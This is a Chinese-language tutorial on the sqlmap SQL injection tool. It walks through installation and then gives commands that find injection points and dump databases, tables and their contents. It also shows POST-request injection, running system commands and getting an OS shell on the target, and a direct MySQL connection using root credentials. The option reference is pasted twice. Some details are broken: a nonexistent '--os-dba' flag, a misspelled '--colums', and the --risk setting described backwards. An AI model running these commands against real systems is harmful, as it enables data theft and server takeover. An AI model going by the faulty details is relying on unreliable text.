sqlmap是基于python环境的,所以在这之前需要安装python环境
Sqlmap的使用
Sqlmap是开源自动化利用工具,只是12种数据库,在/plugins中可以看到支持的数据库,在所有注入工具中最好用。
安装sqlmap
1、sqlmap搭配python使用,所以搭建python环境(2.7)
去官网下载即可,安装后不需单独配置环境
2、下载sqlmap
官网下载即可,下载解压后把解压后的文件夹放在python的文件路径下
3、测试是否安装成功
打开cmd,进入sqlmap文件路径下
输入python sqlmap.py --version,若出现一下信息,则说明安装成功
4、在桌面创建快捷方式
下一步命名为sqlmap
然后确定
右键属性,将起始位置设置为sqlmqp文件路径
这样就可以快捷使用sqlmap了
使用sqlmap
1、Sqlmap -u 目标url
本次测试用的本地搭建的网站
开始测试
测试结果,表明有注入点
结果存放在上诉路径的这个文件中
2、查看目标所有数据库
Sqlmap.py -u “url” --dbs
查看文件log
3、获取当前数据库
Sqlmap.py -u “url” --current-db --dbms mysql
4、获取当前数据库下的表
Sqlmap.py -u “url” -D 数据库名 --tables
5、获取字段名
Sqlmap.py -u “url” -D 数据库名 -T表名 --colums(多个字段名需要用逗号隔开)
6、获取内容
Sqlmap.py -u “url” -D 数据库名 -T表名 --dump
至此,测试完成。
sqlmap的基础命令(常用)
-u:指定被扫描的url
-b:获取banner信息
--is-dba:是否是管理员权限
--current-db:当前数据库
--current-user:当前用户
--dbs:列举数据库
--tables:列举数据库的表名
--count:检索所有条目数
--columns:获取表的列名
--dump:获取表中的数据,包含列
-v:显示详细信息
sqlmap进阶命令(常用)
--level:测试等级(1-5),默认为1。大于2时,会检测cookie注入;大于3时,会检测头注入
--risk:执行测试的风险(0-3,默认为1)。risk越高,检测越慢越安全
--technique:指定注入类型。B->布尔注入;E->报错注入;U->联合查询;T->延时注入;S->堆叠查询
--time-sec :DBMS响应的延迟时间(默认为5秒)
--proxy:使用代理服务器连接到目标URL
--cookie:指定cookie
--user-agent:指定请求头。默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)
--random-agent:从./txt/user-agents.txt中获取随机获取请求头
--method:强制使用给定的HTTP方法
--safe-freq:测试一个给定安全网址的两个访问请求
--delay:可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的
--timeout:可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒
--dbms:指定数据库。mysql、oracle、mssql等
--os:指定操作系统
--os-shell:获取一个shell,根据网站的语言
sqlmap的基础命令(常用)
-u:指定被扫描的url
-b:获取banner信息
--is-dba:是否是管理员权限
--current-db:当前数据库
--current-user:当前用户
--dbs:列举数据库
--tables:列举数据库的表名
--count:检索所有条目数
--columns:获取表的列名
--dump:获取表中的数据,包含列
-v:显示详细信息
sqlmap进阶命令(常用)
--level:测试等级(1-5),默认为1。大于2时,会检测cookie注入;大于3时,会检测头注入
--risk:执行测试的风险(0-3,默认为1)。risk越高,检测越慢越安全
--technique:指定注入类型。B->布尔注入;E->报错注入;U->联合查询;T->延时注入;S->堆叠查询
--time-sec :DBMS响应的延迟时间(默认为5秒)
--proxy:使用代理服务器连接到目标URL
--cookie:指定cookie
--user-agent:指定请求头。默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)
--random-agent:从./txt/user-agents.txt中获取随机获取请求头
--method:强制使用给定的HTTP方法
--safe-freq:测试一个给定安全网址的两个访问请求
--delay:可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的
--timeout:可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒
--dbms:指定数据库。mysql、oracle、mssql等
--os:指定操作系统
--os-shell:获取一个shell,根据网站的语言
Post注入的sqlmap利用方法
拦截数据包保存txt文件post.txt
Python sqlmap.py -r post.txt -p “uname” (-r 读取指定的文件,-p告诉sqlmap测试那个参数)
Sqlmap注入点执行系统命令或者交互式shell
(条件:1、数据库有写文件权限;
2、需要知道web路径)
Sqlmap.py -u “target_url” --os-cmd=ipconfig
Sqlmap.py -u “target_url” --os-shell获取系统的shell
Sqlmap.py -u “target_url” --os-dba判断当前用户是不是dba
Sqlmap直连mysql数据库
Sqlmap.py -d “mysql://root:root@192.168.91.1:3306/mysql” -f --banner --dbs --users
sqlmap注入利用access
Access数据库没有库的概念,打开数据库文件只看到表和字段和内容